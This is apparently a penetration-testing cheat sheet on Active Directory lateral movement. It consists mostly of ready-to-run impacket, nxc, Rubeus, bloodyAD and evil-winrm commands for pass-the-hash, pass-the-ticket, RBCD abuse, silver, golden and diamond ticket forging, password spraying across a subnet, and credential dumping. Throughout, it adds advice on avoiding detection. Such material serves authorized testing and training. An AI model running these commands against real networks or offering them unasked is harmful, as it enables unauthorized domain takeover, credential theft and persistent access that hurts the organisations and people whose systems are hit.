Lateral Movement
Sections Lateral Movement
AD-specific lateral movement: Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, Kerberos abuse. For the impacket/nxc tool mechanics, see Lateral Movement .
DC=10.10.11.50
DOMAIN=corp.local
USER='svc_user'
PASS='Password1'
NTHASH='8846f7eaee8fb117ad06bdd830b7586c'
AESKEY='b8f62a5f9ba0c8d3e7a2c1b4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4'
i. Pass-the-Hash (PtH)
Use an NTLM hash as if it were a password. Works for any NTLM-based service.
nxc smb $DC -u $USER -H $NTHASH
nxc winrm $DC -u $USER -H $NTHASH
impacket-psexec -hashes :$NTHASH "$DOMAIN/$USER"@$DC
impacket-wmiexec -hashes :$NTHASH "$DOMAIN/$USER"@$DC
evil-winrm -i $DC -u $USER -H $NTHASH
RDP with PtH needs Restricted Admin Mode on the target:
xfreerdp /v:$DC /u:$USER /pth:$NTHASH /restricted-admin /dynamic-resolution
ii. Pass-the-Key / Overpass-the-Hash
Use an AES key (more powerful than NTLM hash because it satisfies the AES-only Kerberos policy):
## Get a TGT with AES key
impacket-getTGT $DOMAIN/$USER -aesKey $AESKEY -dc-ip $DC
export KRB5CCNAME=$(pwd)/$USER.ccache
impacket-psexec -k -no-pass $DOMAIN/$USER@host.$DOMAIN
Get the AES key from a secretsdump output (it’s listed alongside NTLM):
impacket-secretsdump -just-dc-ntlm-history $DOMAIN/$USER:$PASS@$DC
## AES keys also dumped in secretsdump output
Rubeus equivalent (Windows):
Rubeus.exe asktgt /user:Administrator /aes256:KEY /domain:corp.local /dc:10.10.11.50 /ptt
iii. Pass-the-Ticket (PtT) - using a ccache
Linux side:
## Set ccache file
export KRB5CCNAME=/path/to/user.ccache
## Use it for any impacket tool with -k -no-pass:
impacket-psexec -k -no-pass $DOMAIN/$USER@host.$DOMAIN
impacket-wmiexec -k -no-pass $DOMAIN/$USER@host.$DOMAIN
impacket-secretsdump -k -no-pass $DOMAIN/$USER@host.$DOMAIN
nxc smb host.$DOMAIN -k --use-kcache
Kerberos is hostname-based. Connect to host.corp.local not 10.10.11.50. Update /etc/hosts or use --dns-server so the FQDN resolves.
Windows side via Rubeus:
Rubeus.exe ptt /ticket:base64-or-file.kirbi
klist
iv. Convert tickets between formats
Kirbi (Windows binary) <-> ccache (Linux):
impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi
v. Get a TGT in one shot
When you have password / hash / AES key, get a TGT for later PtT use:
## Password
impacket-getTGT $DOMAIN/$USER:$PASS -dc-ip $DC
## NT hash
impacket-getTGT $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC
## AES key
impacket-getTGT $DOMAIN/$USER -aesKey $AESKEY -dc-ip $DC
## Output: $USER.ccache in CWD
export KRB5CCNAME=$(pwd)/$USER.ccache
vi. S4U2self to elevate the TGT’s privileges
When you have a computer account’s hash, S4U2self lets you ask for a TGS where the impersonated user is Administrator. The TGS isn’t forwardable but is enough for most impacket operations:
impacket-getST -spn 'cifs/target.corp.local' -impersonate Administrator \
"$DOMAIN/computer\$:$COMPUTERPASS" -dc-ip $DC
Full chain in Delegation .
vii. Lateral via Kerberos delegation (RBCD)
The most useful “I have GenericWrite on a computer” lateral path:
## Configure RBCD
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add computer attackerpc 'AttackerP@ss'
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add rbcd 'victim$' 'attackerpc$'
## Get a TGS as any user, against victim
impacket-getST -spn 'cifs/victim.corp.local' -impersonate Administrator \
"$DOMAIN/attackerpc\$:AttackerP@ss" -dc-ip $DC
export KRB5CCNAME=Administrator@cifs_victim.corp.local@CORP.LOCAL.ccache
impacket-psexec -k -no-pass victim.corp.local
See Delegation for details and cleanup.
viii. Local admin from domain admin TGT
Once you have a DA TGT, you’re admin everywhere:
export KRB5CCNAME=$(pwd)/Administrator.ccache
## Any host:
impacket-psexec -k -no-pass dc.$DOMAIN
impacket-psexec -k -no-pass ws01.$DOMAIN
impacket-secretsdump -k -no-pass dc.$DOMAIN
ix. Kerberos through a SOCKS pivot
When you have a foothold inside the AD network and you want to use impacket from your attacker box:
## Set up SOCKS via chisel/ligolo, see [Pivoting](https://jinpwn.dev/cheatsheets/misc/pivoting/)
## Add domain entries to /etc/hosts on attacker:
echo "$DC dc.$DOMAIN" | sudo tee -a /etc/hosts
## Get TGT through the proxy:
proxychains -q impacket-getTGT $DOMAIN/$USER:$PASS -dc-ip $DC
export KRB5CCNAME=$(pwd)/$USER.ccache
## Use it:
proxychains -q impacket-psexec -k -no-pass dc.$DOMAIN
Kerberos client checks the file pointed to by KRB5_CONFIG (or /etc/krb5.conf if unset) for KDC IPs. With a pivot, the KDC isn’t reachable directly. Either route everything through proxychains, or add the DC IP to /etc/hosts and configure a per-engagement krb5 config to use the DC FQDN, then proxychains handles the actual connection.
Per-engagement krb5 config without touching the system file:
nxc smb $DC --generate-krb5-file krb5.$DOMAIN.conf
export KRB5_CONFIG=$(pwd)/krb5.$DOMAIN.conf
Or write it by hand:
[libdefaults]
default_realm = CORP.LOCAL
[realms]
CORP.LOCAL = {
kdc = dc.corp.local
admin_server = dc.corp.local
}
[domain_realm]
.corp.local = CORP.LOCAL
corp.local = CORP.LOCAL
x. Silver Ticket - forge a service ticket directly
When you have a service account’s NT hash (kerberoasted, dumped, etc), you can forge a TGS for that service directly, no DC interaction needed:
impacket-ticketer -nthash $SERVICE_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN \
-spn cifs/server.corp.local Administrator
## Output: Administrator.ccache
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass server.corp.local
Silver tickets:
- Don’t touch the DC, no Event 4768/4769 from your attack
- Survive password resets of normal user accounts (only the service hash needs to remain valid)
- Limited to the SPN you forged
xi. Golden Ticket - forge any TGT
When you have the krbtgt hash (via DCSync, see DCSync ), forge a TGT for any user:
impacket-ticketer -nthash $KRBTGT_NTHASH -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator
## or with AES (preferred, fewer alerts):
impacket-ticketer -aesKey $KRBTGT_AES -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass dc.$DOMAIN
Golden tickets:
- Valid as long as the krbtgt password is unchanged
- Used for long-term persistence (see Persistence )
- Detectable by long-lifetime TGTs and PAC anomalies
xii. Diamond Ticket - modify a real TGT instead of forging
Less detectable than Golden. Requires krbtgt AES key. Re-encrypts an existing TGT after modifying its PAC:
impacket-ticketer -aesKey $KRBTGT_AES -domain-sid $DOMAIN_SID -domain $DOMAIN \
-request -user-id 500 -groups 512,513,518,519,520 Administrator \
-dc-ip $DC -user $USER -password $PASS
## "Diamond" mode reuses a real DC-issued TGT, harder for PAC anomaly detection
xiii. Sapphire Ticket - diamond + S4U self-extension
The newest variant - uses S4U2self with PAC modification to generate a near-perfect-looking TGS. Tooling is still maturing; impacket supports the core, and tools like ticketer-related forks have updates.
xiv. Local admin via “Domain Users” credential reuse
The lowest-effort lateral on most networks: spray a cracked password as the LOCAL account too:
nxc smb 10.10.11.0/24 -u Administrator -p 'CrackedPass!' --local-auth --continue-on-success
nxc smb 10.10.11.0/24 -u Administrator -H $LOCAL_ADMIN_HASH --local-auth --continue-on-success
Without LAPS, the local Administrator password is often shared across many hosts.
xv. WinRM as the cleanest lateral
When PSRemoting is enabled (port 5985/5986), WinRM is the least noisy lateral. No service install, full PowerShell:
evil-winrm -i target.$DOMAIN -u $USER -p $PASS
evil-winrm -i target.$DOMAIN -u $USER -H $NTHASH
## with Kerberos:
evil-winrm -i target.$DOMAIN -u $USER --realm $DOMAIN --service-name http
xvi. Decision tree
You have credentials + want to lateral, in order of OPSEC quality:
- WinRM available? -> evil-winrm (cleanest, full PowerShell)
- WMI accessible? -> impacket-wmiexec (no service install)
- SMB only? -> impacket-smbexec (no binary on disk) then impacket-psexec as fallback
- Kerberos required by policy? -> get TGT, then any of the above with
-k -no-pass - Only have a hash, target enforces Kerberos? -> Overpass-the-Hash to get AES TGT
- Need to impersonate a different user? -> RBCD chain or S4U2self+proxy
xvii. Post-lateral, always
- Mark the new host’s owner in BloodHound
- Run Local Enum on the host
- Dump credentials from this host with PrivEsc - Credentials & Files (LSASS, SAM, etc)
- Re-collect BloodHound for new paths
- Continue lateral or escalate to DA via DCSync